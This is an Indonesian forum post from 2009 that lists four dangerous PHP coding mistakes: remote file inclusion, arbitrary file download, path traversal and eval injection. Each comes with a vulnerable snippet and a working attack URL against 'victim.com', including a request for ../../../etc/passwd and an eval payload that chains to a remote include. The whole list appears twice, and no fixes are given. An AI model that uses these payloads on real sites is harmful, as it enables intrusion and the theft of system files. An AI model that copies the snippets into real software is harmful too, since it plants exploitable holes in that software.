11-24-2009, 06:11 PM
Beberapa kesalahan penulisan scripts php yang dapat berakibat fatal.
======
case 1
======
[scripts]
$page = $_GET[page];
include($page);
[attack]
http://victim.com/file.php?page=[Inection URL]
======
case 2
======
[scripts]
header( "Content-Type: application/octet-stream" );
header( "Content-Length: " . filesize($_GET['file'] ) );
header( "Content-Disposition: inline; filename=\"$_GET[file]\"");
readfile($_GET['file'] );
[attack]
http://victim.com/file.php?file=index.php
=======
case 3
=======
[scripts]
$fp = fopen("/path/{$_GET['filename']}.txt", 'r');
[attack]
http://victim.com/file.php?filename=../../../etc/passwd
======
case 4
======
[scripts]
eval($_GET[ev]);
[attack]
http://victim.com/file.php?ev=include($_GET[irv]);&irv=[injection URL]
big THX to my Brotha Irvian
======
case 1
======
[scripts]
$page = $_GET[page];
include($page);
[attack]
http://victim.com/file.php?page=[Inection URL]
======
case 2
======
[scripts]
header( "Content-Type: application/octet-stream" );
header( "Content-Length: " . filesize($_GET['file'] ) );
header( "Content-Disposition: inline; filename=\"$_GET[file]\"");
readfile($_GET['file'] );
[attack]
http://victim.com/file.php?file=index.php
=======
case 3
=======
[scripts]
$fp = fopen("/path/{$_GET['filename']}.txt", 'r');
[attack]
http://victim.com/file.php?filename=../../../etc/passwd
======
case 4
======
[scripts]
eval($_GET[ev]);
[attack]
http://victim.com/file.php?ev=include($_GET[irv]);&irv=[injection URL]
big THX to my Brotha Irvian




![[Image: 2il2bsk.gif]](http://i54.tinypic.com/2il2bsk.gif)

